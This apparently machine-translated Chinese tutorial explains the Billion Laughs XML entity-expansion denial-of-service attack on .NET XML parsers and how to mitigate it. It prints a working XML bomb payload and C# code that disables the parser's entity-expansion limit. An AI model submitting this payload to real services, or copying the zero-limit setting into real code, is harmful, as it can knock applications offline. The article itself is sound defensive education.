什么是.NET Framework C#Xml Parser上的Billion Laughs XML DoS攻击

本文概述

大声笑, 当某些事情很有趣并且要通过聊天表达时, 通常使用的表达方式。但是, 有人发现了XML解析器的一个有趣的缺陷, 并决定在他们的脸上大笑。 Billion Laughs攻击基本上是一种拒绝服务攻击, 其目标是为支持文档类型定义的每个XML解析器。 Billion Laughs攻击也称为XML炸弹或指数实体扩展攻击。

如何运作?

你需要先了解XML中的实体的概念。 XML实体是数据的符号表示, 就像一段代码中的变量一样。在XML中, 必须像文档元素或属性一样在文档类型定义(DTD)中声明实体。例如:

<!ENTITY cheese "Mozarella and Cheddar">

当你定义名称并使用与号作为前缀时, 实体起司将在XML解析器中被替换:

<somenode>My Favorite cheeses are: &cheese;</somenode>

当XML解析器找到XML实体时, 它将对其进行扩展, 导致出现这种情况, 例如” <somenode>我最喜欢的奶酪是:Mozarella和Cheddar </ somenode>”。如果实体定义包含对其他实体的引用, 则也必须扩展这些引用, 例如:

<!ENTITY cheese "Mozarella and Cheddar">
<!ENTITY burgerRecipe "Meat, Tomato, Onion, &cheese;">

因此, burgerRecipe实体将为”肉, 番茄, 洋葱, Mozarella和切达干酪”。这就是当实体使用依赖于多个实体的实体等等时这种攻击的工作方式。即使你提供格式正确的XML, 也可能发生这种攻击, 但是数据结构设计得很糟糕。检测起来非常棘手, 特别是当游戏中有真实数据时, 当然, 在使用多个XML解析器时很难缓解。

在本文中, 我们将向你展示如何对C#的默认XML解析器执行Billion Laughs XML DoS攻击以及如何防止它。

自己尝试DoS

为了在安全的环境(你的本地计算机)中重现这种附件, 请继续在计算机的桌面中创建一个新的XML文件, 即billion_laughs.xml。该文件将包含以下数据:

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
<!ENTITY lol11 "&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;">
<!ENTITY lol12 "&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;">
<!ENTITY lol13 "&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;">
<!ENTITY lol14 "&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;">
<!ENTITY lol15 "&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;">
]>
<lolz>&lol15;</lolz>

该文件恰好包含攻击的夸大表示。通过使用先前创建的实体中的10个创建新实体, lol实体将成倍增加, 依此类推。例如, 解析器将开始打印实体lol15的值, 但是当它扩展为10 lol14时, 每个实体都扩展为10 lol13, 依此类推。到将所有内容扩展为文本lol时, 字符串lol的实例已超过100, 000, 000。

现在, 对于XML解析器, 我们将使用最简单的方法来读取XML文件, 该方法基本上是使用.NET的XmlDocument类。 XmlDocument类是XML文档的内存表示形式。它实现了W3C XML文档对象模型(DOM)1级核心和Core DOM 2级。你可以使用以下代码读取XML文件:

using System.Xml;

// 1. Create instance of a XmlDocument
XmlDocument doc = new XmlDocument();

// 2. Load file directly. This will parse immediately the entire file !
doc.Load("C:\\Users\\sdkca\\Desktop\\billion_laugh.xml");

在我们的项目中, 当用户单击按钮时, 将执行此代码。该按钮将触发读取文件的操作, 因此当我们按该按钮时, Visual Studio会变慢并会引发以下异常:

System.Xml.XmlException:’输入文档已超出MaxCharactersFromEntities设置的限制。

除了明显的例外, 你还将在进程使用的内存中看到一个有趣的行为, 该行为最初具有相当基本的形式, 即按钮, 仅占用大约17MB的RAM, 几乎不占用处理器的1%。 :

内存使用率十亿笑XML DoS攻击

但是, 当用户单击按钮以读取XML文件时, 内存(102 MB)和处理器(17%)的使用将急剧增加:

十亿笑XML DoS攻击处理器和内存堆

作为第一个示例的结论, 是许多开发人员用于快速读取XML的默认类已经强加了允许的实体最大字符数限制, 从而防止PC爆炸并破坏房屋(开玩笑)。

尝试自己做DoS, 卷土重来

对于第二次尝试破坏C#应用程序的尝试, 我们将创建一个实例XmlReader并加载文件。使用阅读器, 我们将尝试使用以下代码处理文件的第一个节点:

using System.Xml;
 
// 1. Create an instance of the XmlReader and load file
XmlReader reader = XmlReader.Create("C:\\Users\\sdkca\\Desktop\\billion_laugh.xml");

// At this point, the parser didn't process the file, unless you read it
using (reader)
{
    while (reader.Read())
    {
        // 2. Read at least the first element of the XML
        if (reader.IsStartElement()){}
    }
}

再一次, 运行前面的代码将触发另一个异常, 该异常将阻止我们的应用程序冻结:

System.Xml.XmlException:’出于安全原因, 此XML文档中禁止使用DTD。要启用DTD处理, 请将XmlReaderSettings上的DtdProcessing属性设置为Parse并将设置传递到XmlReader.Create方法。

Visual Studio再次保存了我们的资产。 DTD代表”文档类型定义”, 它定义了XML文档的合法构造块。它通常用于定义带有法律元素和属性列表的文档结构。默认实例将不允许文档类型定义, 因此几乎不会忽略攻击。我们再次失败了。

尝试自己做DoS, 复仇

作为最后的尝试, 正如我们之前的异常所暗示的那样, 我们可以简单地启用DTD处理, 因此将真正执行攻击, 但是.NET中有一个自动启用的额外保护, 即MaxCharactersFromEntities。此属性定义一个值, 该值指示由于扩展实体而导致的文档中最大字符数。

零(0)值表示对扩展实体产生的字符数没有限制。非零值指定扩展实体可以产生的最大字符数。如果读者尝试阅读包含实体的文档, 使得扩展后的大小将超过此属性, 则将引发XmlException。

通过此属性, 你可以减轻拒绝服务攻击的风险, 在这种情况下, 攻击者通过扩展实体提交尝试超过内存限制的XML文档。通过限制扩展实体产生的字符, 你可以检测到攻击并可靠地进行恢复。因此, 如果我们确实确实希望受到此攻击的攻击, 我们只需将此属性设置为0:

请记住, 这只是出于教育目的, 除非你知道自己在做什么, 否则不要将MaxCharactersFromEntities属性永远设置为0。

using System.Xml;

// 1. Create custom settings for the XML parser
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;

// Warning: this value should never be 0, this will make your app
//          vulnerable to this kind of attack.
//          A normal value would be 1024
settings.MaxCharactersFromEntities = 0;

// 2. Create an instance of the XmlReader and load file with custom settings.
XmlReader reader = XmlReader.Create("C:\\Users\\sdkca\\Desktop\\billion_laugh.xml", settings);

// At this point, the parser didn't process the file, unless you read it
using (reader)
{
    while (reader.Read())
    {
        if (reader.IsStartElement()) { }
    }
} 

最后!我们刚刚阻止了应用程序的接口, 所以我们成功完成了DoS的操作。但是, 在执行脚本期间可以观察到另一个有趣的行为。该应用程序将不再响应, 因此你需要使用Visual Studio重新启动或停止它。但是, 内存使用情况保持稳定:

XML十亿笑XML DoS

但是, 我们等待了10分钟, 但是我们的应用程序没有反应, 因此我们只是放弃了!

最后的想法

在最新版本的.NET框架中, 我们不必担心这种攻击。也许, 如果我们确实收到了需要扩展的XML文件, 那么我们真的应该建议他们仅移至纯数据, 而不要使用实体。如果你将使用XmlReaderSettings类使用自定义设置, 请不要忘记在使用DTD读取XML文件之前将MaxCharactersFromEntities属性设置为合理的值:

using System.Xml;

// 1. Create custom settings for the XML parser
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
// Prevent DoS attacks
settings.MaxCharactersFromEntities = 1024;

// 2. Create an instance of the XmlReader and load file with custom settings.
XmlReader reader = XmlReader.Create("C:\\Users\\sdkca\\Desktop\\myxmlfile.xml", settings);

// At this point, the parser didn't process the file, unless you read it
using (reader)
{
    // The parser will read without any problem !!!
    while (reader.Read())
    {
        if (reader.IsStartElement()) { }
    }
} 

这将保护你免受DoS攻击, 并允许你在禁止使用的情况下读取DTD xml文件。

编码愉快!

微信公众号
手机浏览(小程序)
0
分享到:
没有账号? 忘记密码?